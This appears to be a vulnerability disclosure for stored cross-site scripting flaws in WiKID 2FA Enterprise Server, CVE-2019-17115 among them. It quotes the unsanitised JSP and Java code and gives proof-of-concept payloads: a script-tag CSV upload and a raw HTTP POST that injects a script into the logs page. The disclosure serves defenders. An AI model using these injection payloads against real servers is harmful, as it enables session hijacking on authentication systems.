Description

The source for userPreregistration.jsp shows values for pre_registration_code and name columns in database being retrieved and added to a string being constructed:

272  sb.append("</font></td><td style=\"padding: 5px;\"><font face=\"courier\" size=\"-1\">")
273  .append(
rs.getString("pre_registration_code"))
274  .append("</font></td><td style=\"padding: 5px;\"><font face=\"courier\" size=\"-1\">")
275  .append(URLDecoder.decode(
rs.getString("name"),"UTF-8"))
276  .append("</font></td></tr>");

The constructed string is then included in the HTML of the page. The values retrieved from the database are not validated or sanitized, consequently, creating a file containing malicious entries such as:

<script>alert(1)</script>,<script>alert(2)</script>

Will result in the <script> elements being included in the page; the JavaScript will execute when the file is uploaded:

The malicious name and pre_registration_code are stored and will trigger whenever userPreregistration.jsp?prAction=List+Pre-Registration+Data is visited:

The malicious <script> elements are visible in the page source:

<tr><td colspan="2"><h2>Current Pre-Registration Data</h2></td></tr>
 <tr><td><b>UserID</b></td><td><b>Registration Code</b></td><td><b>Domain</b></td></tr>
 <tr style="padding: 5px;"><td style="padding: 5px;"><font face="courier" size="-1">
<script>alert(2)</script> (unregistered)</font>

CVE-2019-17115

An unauthenticated stored cross-site scripting vulnerability, CVE-2019-17115, was identified on WiKID Systems 2FA Enterprise Server version 4.2.0-b2047 and earlier. Submitting invalid values, through one of the affected parameters, will cause an error to be logged and stored as a rendered_message; the malicious value is retrieved and displayed through Logs.jsp. The error messages are severe enough to be displayed by default.

Description

The source for Logs.jsp reveals values from the rendered_message column are included, unsanitized, in a string which is constructed and included in the HTML for Logs.jsp

394  sb.append("<TD class=\"logTableCell\" style=\"white-space:normal;\">")
395  .append("<a href='./Log.jsp?subString=" +
rs.getString("rendered_message") + "'>")
396  .append("<img src='./images/toolFilter.png' alt='' border=\"0px\" width=\"15px\" height=\"15px\"/></a>")
397  .append(rs.getString("rendered_message").replaceAll("<", "&lt;").replaceAll(">", "&gt;"))
398  .append("</TD>");

wikid-server-enterprise-lib-4.2.0.jar reveals several instance where parameters are read and passed to the logger. One example can be found in com.wikidsystems.server.InitDevice5AES:

70 try {
71 requestAction = Integer.parseInt(request.getParameter("a"));
72 logger.debug("Determined requested action: " + requestAction);
73 }
74 catch (NumberFormatException nfe) {
75 nfe.printStackTrace();
76 logger.error("IO error during registration -- recieved action: " +
request.getParameter("a"), nfe);
77 }

A non-integer value for a will trigger an error and drop into the catch block; the a parameter is then included, in the message passed to logger, with the severity of error.

The following request submits an HTML <script> element as the value for a:

POST /wikid/servlet/com.wikidsystems.server.InitDevice5AES HTTP/1.1
Host: $RHOST
User-Agent: WiKID J2ME Token
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Upgrade-Insecure-Requests: 1=
Content-Type: application/x-www-form-urlencoded
Content-Length: 60


S=1&a=
test'><script>alert('InitDevice5AES - A')</script><!--

The JavaScript is executed whenever Log.jsp is visited:

The malicious <script> is visible in source of the page:

<a href="./Log.jsp?subString=IO error during registration phase 1 -- recieved action: test"><script>alert('InitDevice5AES - A')</script><!--'><img src='./images/toolFilter.png' alt=''
